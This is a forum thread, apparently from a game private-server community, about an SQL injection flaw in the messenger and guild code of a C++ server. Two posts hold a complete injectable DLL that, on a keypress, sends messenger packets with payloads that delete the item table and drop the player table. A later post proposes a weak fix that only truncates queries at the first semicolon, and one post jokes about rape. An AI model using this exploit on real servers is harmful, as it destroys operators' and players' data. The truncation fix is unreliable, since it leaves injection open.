[FIX][C++] SQL Injection in Messenger and Guild

[Marius Sorin]

I readed the whole code but not tested it. So, thats why i ask. Cuz sometimes is necesary to test a fix.

[IkoLollo]

Originally Posted by Seחsi

Make an update and use the source. There's no reason to keep developing on this old revision.

I can pay for this .dif

[miguelmig]

There's still an injection in /messenger_auth I believe. The parameters are not checked.

[miguelmig]

CRC32 hashes can still be faked

[Salep]

Wurde das eigentlich mal auf den Offiziellen getestet? Würde mich mal interessieren.

[#Saiirex]

Originally Posted by Salep

Wurde das eigentlich mal auf den Offiziellen getestet? Würde mich mal interessieren.

Jetzt ist es bestimmt fixed

[Tomsan]

Originally Posted by #Saiirex

Jetzt ist es bestimmt fixxed

Genau hack dich in ein GF Server ein, dann biste paar Jahre im Knast

[#Saiirex]

Originally Posted by Tomsan

Genau hack dich in ein GF Server ein, dann biste paar Jahre im Knast

Die Leute, die den Source geklaut haben, sind auch frei .

Waren zwar nicht die GF Server, but who cares?

[TheSLZ]

Thanks

MartPwnS's way is enough?

And in original source there is no
if (companion.empty())
return;

just:
if (companion.size() == 0)
return;

should i change it to the first one?

[[-Lee-]]

Originally Posted by #Saiirex

Die Leute, die den Source geklaut haben, sind auch frei .

Waren zwar nicht die GF Server, but who cares?

der src wurde auch nicht von der GF geklaut.
Wenn du den GF server down machst, liegt eine direkte Geschäftsschädigung vor ganz zu schweigen von Cyberkriminalität .. da versteht der deutsche Staat gar kein Spaß.

[Aze /..]

Originally Posted by [-Lee-]

der src wurde auch nicht von der GF geklaut.
Wenn du den GF server down machst, liegt eine direkte Geschäftsschädigung vor ganz zu schweigen von Cyberkriminalität .. da versteht der deutsche Staat gar kein Spaß.

***, ist leider so. Um es jetzt mal ein wenig inhuman auszudrücken: Vergewaltige lieber jemanden, dafür sitzt man nicht so lange.

B2T: Auch wenn ich der englischen Sprache mächtig bin, verstehe ich trotzdem nichts, was nun genau die Ursache für diese Lücke war und was genau nun der Fix macht. Bin leider nicht bewandert in Sachen C++. Könnte es mir einer mal kurz schildern?

[Kyramu]

Du kannst durch diese Lücke auf die Player zugreifen weil dort die Gilden gesaved werden.
Dadurch kannst du dir zugriff auf die Player.sql verschaffen, jedoch nur auf die Player.

Bei mir wurde die komplette Player mit dieser Sicherheitslücke gelöscht.

[matalaj]

Dowload SQL injector ? Ii test server...

[VegaS ♆]

Originally Posted by matalaj

Dowload SQL injector ? Ii test server...

You can make a mix / loading DLL type which looks like this :

void Myfunction()
{
 PyRun_SimpleString("import net");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DELETE FROM item; --\", \"ss\")");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DROP TABLE player; --\", \"ss\")");
 MessageBoxA(NULL, "[SQL-Injection] Queries sent correctly!", "*** Exploit (Skype: sacadatt.amazon) ***", NULL);
}

Then to the fun begins:

void start_fuck_off()
{
 C:
 if (GetAsyncKeyState(VK_F5)) Myfunction();
 goto C;
}

BOOL APIENTRY DLLSQL_INJECT(HMODUL mod, DWORD  reason, LPVOID re)
{
 FILE *f = fopen("Exploit.Readme.txt", "w");
 fputs("Damn, you just fucked a server.\n\
 Do not use it to harm a server!\n\nUse only to test for you if you fixed it!\n", f);
 fclose(f);
 if (reason == DLL_PROCESS_ATTACH) CreateThread(NULL, NULL, LPTHREAD_START_ROUTINE(start_fuck_off), NULL, NULL, NULL);
 return TRUE;
}

------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------

[deco016]

Originally Posted by [SGA]Vegas

You can make a mix / loading DLL type which looks like this :

void Myfunction_VegaS()
{
 PyRun_SimpleString("import net");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DELETE FROM item; --\", \"ss\")");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DROP TABLE player; --\", \"ss\")");
 MessageBoxA(NULL, "[SQL-Injection] Queries sent correctly!", "*** Killer Exploit (Skype: sacadatt.amazon) ***", NULL);
}

Then to the fun begins:

void start_fuck_off()
{
 C:
 if (GetAsyncKeyState(VK_F5)) Myfunction_VegaS();
 goto C;
}

BOOL APIENTRY DLLSQL_INJECT(HMODUL mod, DWORD  reason, LPVOID re)
{
 FILE *f = fopen("Exploit.Readme.txt", "w");
 fputs("Damn, you just fucked a server.\n\
 Do not use it to harm a server!\n\nUse only to test for you if you fixed it!\n", f);
 fclose(f);
 if (reason == DLL_PROCESS_ATTACH) CreateThread(NULL, NULL, LPTHREAD_START_ROUTINE(start_fuck_off), NULL, NULL, NULL);
 return TRUE;
}

I would prefer a solution like this:

SQLMsg * DBManager::DirectQuery(const char * c_pszFormat, ...)
{
    char szQuery[4096];
    va_list args;
    va_start(args, c_pszFormat);
    vsnprintf(szQuery, sizeof(szQuery), c_pszFormat, args);
    va_end(args);
    std::string sQuery(szQuery);
    return m_sql_direct.DirectQuery(sQuery.substr(0, sQuery.find_first_of(";") == -1 ? sQuery.length() : sQuery.find_first_of(";")).c_str());
}

and

void DBManager::Query(const char * c_pszFormat, ...)
{
    char szQuery[4096];
    va_list args;

    va_start(args, c_pszFormat);
    vsnprintf(szQuery, sizeof(szQuery), c_pszFormat, args);
    va_end(args);
    std::string sQuery(szQuery);

    m_sql.AsyncQuery(sQuery.substr(0,sQuery.find_first_of(";")==-1?sQuery.length(): sQuery.find_first_of(";")).c_str());
}

Lol this is my code from ...